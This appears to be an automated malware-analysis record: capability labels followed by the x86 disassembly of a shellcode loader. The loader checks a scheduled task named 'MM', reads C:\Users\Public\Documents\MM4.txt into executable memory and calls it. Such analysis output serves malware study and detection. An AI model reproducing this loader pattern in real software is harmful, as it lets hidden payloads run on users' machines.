Function at 0x10020c20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10098c42
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov al, byte [ebp - 0xd]
xor esi, esi
push esi
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x38], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [ebp - 0xd]
push esi
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], esi
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov edi, str.schtasks__Query__TN_MM
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [ebp - 0x28]
push ebx
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x10020ca8
mov edi, dword [ebp - 0x24]
mov ecx, ebx
mov edx, ecx
mov esi, str.schtasks__Query__TN_MM
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
xor esi, esi
lea eax, [ebp - 0x38]
lea ecx, [ebp - 0x28]
push eax
push ecx
mov byte [ebp - 4], 1
call fcn.10020a40
add esp, 8
test eax, eax
je 0x10020d89
mov edi, 0x1011fa3c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push 0x1011fa3c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int__unsigned_int_const]
mov edx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [edx]
jne 0x10020d89
push esi
push 0x80
push 3
push esi
push 1
push bind
push str.C:UsersPublicDocumentsMM4.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
cmp esi, 0xffffffff
je 0x10020df9
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
je 0x10020e31
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0
test ebx, ebx
mov dword [ebp - 0x18], ebx
je 0x10020e72
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10020ea1
cmp dword [ebp - 0x14], edi
jne 0x10020ea1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x18]
call eax
popal
mov ecx, dword [ebp - 0x18]
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x10020db8
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x10020daf
cmp al, 0xff
je 0x10020daf
dec al
mov byte [ecx], al
jmp 0x10020db8
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], esi
cmp ecx, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
je 0x10020deb
mov al, byte [ecx - 1]
test al, al
je 0x10020de1
cmp al, 0xff
je 0x10020de1
dec al
mov byte [ecx - 1], al
jmp 0x10020deb
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
jmp 0x10020c3e
push 0x1011fa10
push 0x1011fa00
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x10020f18
push 0
push 0x1011fa10
push 0x1011f9ec
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x10020f18
push 0x1011fa10
push 0x1011f9dc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0x34]
test ecx, ecx
jmp 0x10020efa
xor edi, edi
push edi
push 0x1011fa10
push 0x1011f9cc
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x24]
cmp ecx, edi
je 0x10020eec
mov al, byte [ecx - 1]
test al, al
je 0x10020ee2
cmp al, 0xff
je 0x10020ee2
dec al
mov byte [ecx - 1], al
jmp 0x10020eec
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
cmp ecx, edi
je 0x10020f18
mov al, byte [ecx - 1]
test al, al
je 0x10020f0e
cmp al, 0xff
je 0x10020f0e
dec al
mov byte [ecx - 1], al
jmp 0x10020f18
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret